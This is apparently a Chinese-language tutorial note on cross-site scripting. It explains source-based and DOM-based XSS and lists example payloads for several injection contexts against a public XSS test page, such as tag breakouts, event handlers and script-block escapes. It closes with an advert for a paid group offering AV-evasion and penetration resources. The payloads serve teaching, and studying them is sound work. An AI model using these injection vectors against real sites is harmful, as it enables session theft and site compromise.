你所不知道的xss
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
主要是复习xss的时候的一些记录(笔记),包含若干总结
Web 服务器发送的代码这里称之为源代码(source code), 它由浏览器处理,在 JavaScript 引擎的帮助下,以编程的方式创建文档的元素。这称为 DOM(文档对象模型),它会在源代码到达后立即生成。
在应用程序的上下文中(脱离上下文的应用程序非常罕见,这里不讨论),我们将xss分为两大类:
基于源代码和基于 DOM 的 XSS 类型(XSS 可能是由服务器端代码(Web 服务器发送的代码)或客户端代码(浏览器从 Web 服务器发送的代码处理后的代码)引起的。):
Source-based: Reflected Stored
DOM-based: Reflected Stored
当 URL 以某种方式反映在源代码中时,我们可以向其添加我们自己的 XSS 有效负载, 对于 PHP 页面,可以使用斜杠字符 (/) 在页面名称后的 URL 中添加任何内容
http://brutelogic.com.br/xss.php/”><svg onload=alert(1)>
使用 >
来断开当前标签
<form action="/xss.php/"><svg onload=alert(1)>" method="POST">
这是最直接的方法,输入恰到好处地反映在现有标签之间的代码中,在它们之后或之前。无需转义或破坏任何东西,类似<tag handler=jsCode>
形式的向量都可以.
http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>
<h1>xss test</h1>hello, <svg onload=alert(1)>!<br>
几乎和前一个一样简单,但是需要“>”
来闭合当前标签。
http://brutelogic.com.br/xss.php?b1=”><svg onload=alert(1)>
<input type="text" name="b1" value=""><svg onload=alert(1)>">
当输入位于 HTML 属性中并且过滤字符 (>) 时,不可能像前一种情况那样跳出当前标签。
<input type="text" name="b3" value=""><svg onload=alert(1)>">
>
就表示>
使用适合我们注入的标签的事件处理程序,例如:
http://brutelogic.com.br/xss.php?b3=” onmouseover=alert(1)//
注意:alert(1) 后跟双斜杠以注释掉挂起的引号
<input type="text" name="b3" value="" onmouseover=alert(1)//">
输入有时会进入 javascript 块(脚本标签),通常在代码的某些变量中。但是因为 HTML 标签在浏览器的解析中具有优先权,我们可以简单地终止块并插入一个新标签。
http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>
<script> var var1 = '</script><svg onload=alert(1)>';</script>
如果脚本标签以某种方式被过滤,之前的利用将失败。
var var1 = '><svg onload=alert(1)>';
将易受攻击变量的值“连接”到我们想要执行的代码
http://brutelogic.com.br/xss.php?c3=’-alert(1)-‘
看下面:
var var3 = ''-alert(1)-'';
在前面的例子中,如果引号(负责中断变量值)用反斜杠 () 转义,注入将不起作用(无效语法)。
插入一个前导字符来转义添加的反斜杠, 在“串联”到我们想要的js代码之后,我们需要注释掉剩下的部分
http://brutelogic.com.br/xss.php?c5=\’-alert(1)//
var var5 = '\\'-alert(1)-//';2年度精选
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读